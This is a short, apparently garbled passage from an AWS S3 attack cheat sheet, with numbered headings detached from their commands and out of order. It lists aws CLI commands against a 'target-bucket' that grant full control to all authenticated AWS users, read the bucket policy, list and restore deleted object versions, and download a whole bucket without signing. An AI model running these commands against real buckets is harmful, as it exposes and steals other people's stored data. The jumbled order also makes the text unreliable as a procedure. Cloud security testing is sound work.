aws s3api put-bucket-acl --bucket target-bucket --grant-full-control uri=http://acs.amazonaws.com/groups/global/AuthenticatedUsers aws s3api get-bucket-policy --bucket target-bucket Policy may expose unintended access patterns. 2.6. s3:ListBucketVersions Reveals old/ deleted versions of objects:

aws s3api get-object --bucket target-bucket --key file.txt --version-id <versionId> restored.txt 3.1. Write S3 Bucket Policy If you have s3:PutBucketPolicy :

aws s3 sync s3://target-bucket ./download --no-sign-request Test:

Download all files

aws s3api list-object-versions --bucket target-bucket Then download older version: